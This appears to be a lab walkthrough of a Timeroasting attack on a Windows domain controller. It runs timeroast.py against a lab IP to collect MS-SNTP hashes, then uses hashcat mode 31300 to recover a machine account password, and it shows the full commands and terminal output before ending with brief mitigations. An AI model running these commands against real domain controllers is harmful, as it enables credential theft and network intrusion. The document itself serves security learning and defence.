Timeroasting

Documentation: Timeroasting Attack Walkthrough

1. Overview

Timeroasting is an offensive security technique that targets the **MS-SNTP** service on Windows Domain Controllers. By sending NTP requests to a target, an attacker can receive an authenticated NTP response containing a hash. This hash can then be cracked offline to recover the password of the machine account or service account.

Prerequisites

- **Kali Linux** (or similar penetration testing distribution)
- **Python 3**
- **Hashcat** (v6.0.0+)
- **Timeroast.py** script

---

2. Environment Setup

First, ensure that the necessary tools are installed. In this instance, **Hashcat** is used for the offline cracking phase.

Bash

```
sudo apt install hashcat -y
```

```
┌──(kali㉿kali)-[~/Downloads/ADProject/method 4/timeroasting]
└─$ sudo apt install hashcat -y

[sudo] password for kali:
hashcat is already the newest version (7.1.2+ds1-3).
The following packages were automatically installed and are no longer required:
  dnsmap          libsmb2-6          python3-serial-asyncio
  dsniff          medusa             python3-smmap
  ettercap-common     python3-ajpy       python3-tld
  ettercap-graphical  python3-git        python3-yaswfp
  figlet          python3-gitdb      rsh-redone-client
  finger          python3-ipy        smtp-user-enum
  imagemagick         python3-pyexploitdb  sparta-scripts
  imagemagick-7.q16   python3-pyfiglet   toilet-fonts
  ldap-utils          python3-pyshodan   unicornscan
  libapache2-mod-php  python3-pysmi      urlscan
  libluajit-5.1-2     python3-pysnmp4    wapiti
  libluajit-5.1-common python3-qasync
  libnids1.21t64      python3-qrcode
Use 'sudo apt autoremove' to remove them.

Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 2015
```

---

3. Execution Phase

Step 1: Extracting Hashes

Using the `timeroast.py` script, we query the target IP. This script sends NTP requests and captures the authenticated responses.

Command:

Bash

```
python3 timeroast.py 192.168.56.10 -r 1000-2000 -o ntp-hashes.txt
```

- **Target IP:** `192.168.56.10`
- **Range (`r`):** 1000-2000 (Testing RID range)
- **Output (`o`):** `ntp-hashes.txt`

Step 2: Verifying Captured Hashes

Use `cat` to verify that the hashes were successfully written to the output file.

Command:

Bash

```
cat ntp-hashes.txt
```

> [!NOTE]
>
> The hashes follow the `$sntp-ms$...` format, which is specific to Microsoft's SNTP implementation.

```
┌──(kali㉿kali)-[~/Downloads/ADProject/method 4/timeroasting]
└─$ python3 timeroast.py 192.168.56.10 -r 1000-2000 -o ntp-hashes.txt

┌──(kali㉿kali)-[~/Downloads/ADProject/method 4/timeroasting]
└─$ cat ntp-hashes.txt
1001:$sntp-ms$dc32dd026d209f9de8943f4ed522ef5f$1c0111e900000000000a07b44c4f434ced39a
82d1f1e71dbe1b8428bffbfcd0aed39b2563b4736f6ed39b2563b477f1a
1164:$sntp-ms$936720aeea9b4bc3685f79c479873b13$1c0111e900000000000a07ff4c4f434ced39a
7cbe6598908e1b8428bffbfcd0aed39b257665960c4ed39b25766599ed7
1165:$sntp-ms$692bbd26bc718495030caaf921213a88$1c0111e900000000000a07ff4c4f434ced39a
7cbe2fdc161e1b8428bffbfcd0aed39b25767162e3fed39b25767166aa5
```

---

4. Cracking Phase

Step 1: Create a Custom Wordlist

For this demonstration, a specific password was added to a custom wordlist to test the cracking speed and accuracy.

Command:

Bash

```
echo weakpc > custom.txt
```

Step 2: Running Hashcat

We use Hashcat with mode **31300** (MS SNTP) to crack the hashes against our wordlist.

Command:

Bash

```
hashcat -m 31300 -a 0 ntp-hashes.txt custom.txt --username
```

- `m 31300`: Specifies the MS SNTP hash type.
- `a 0`: Straight attack mode (dictionary).
- `-username`: Tells Hashcat to ignore the username/RID prefix in the hash file.

```
┌──(kali㉿ kali)-[~/Downloads/ADProject/method 4/timeroasting]
└─$ echo weakpc > custom.txt

┌──(kali㉿ kali)-[~/Downloads/ADProject/method 4/timeroasting]
└─$ hashcat -m 31300 -a 0 ntp-hashes.txt custom.txt --username

hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.
1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==============================================================================
=================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-1240P, 1470/2941 MB (512 MB
allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
```

5. Results

Upon completion, Hashcat successfully recovered the password.

```
Approaching final keyspace - workload adjusted.

$sntp-ms$936720aeea9b4bc3685f79c479873b13$1c0111e900000000000a07ff4c4f434ced39a7cbe6
598908e1b8428bffbfcd0aed39b257665960c4ed39b25766599ed7:weakpc

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 31300 (MS SNTP)
Hash.Target......: ntp-hashes.txt
Time.Started.....: Fri Feb 13 09:26:40 2026 (0 secs)
Time.Estimated...: Fri Feb 13 09:26:40 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (custom.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     320 H/s (0.00ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/3 (33.33%) Digests (total), 1/3 (33.33%) Digests (new), 1/3 (33
.33%) Salts
Progress.........: 3/3 (100.00%)
Rejected.........: 0/3 (0.00%)
Restore.Point....: 1/1 (100.00%)
Restore.Sub.#01..: Salt:2 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: weakpc -> weakpc
Hardware.Mon.#01.: Util: 14%

Started: Fri Feb 13 09:26:37 2026
Stopp :d: Fri Feb 13 09:26:43 2026
```

RID	Hash Type	Recovered Password
1164	MS SNTP (31300)	**weakpc**

Summary of Effort:

- **Status:** Exhausted (All candidates tested)
- **Recovered:** 1/3 Digests (33.33%)
- **Speed:** ~320 H/s (on CPU)

---

6. Remediation & Mitigation

To defend against Timeroasting:

1. **Restrict NTP Access:** Ensure that only authorized devices can query the Domain Controller for time.
2. **Strong Passwords:** Use complex, long passwords for machine accounts to make offline cracking computationally unfeasible.
3. **Monitor Traffic:** Look for unusual amounts of NTP traffic originating from single workstations, especially those scanning RID ranges.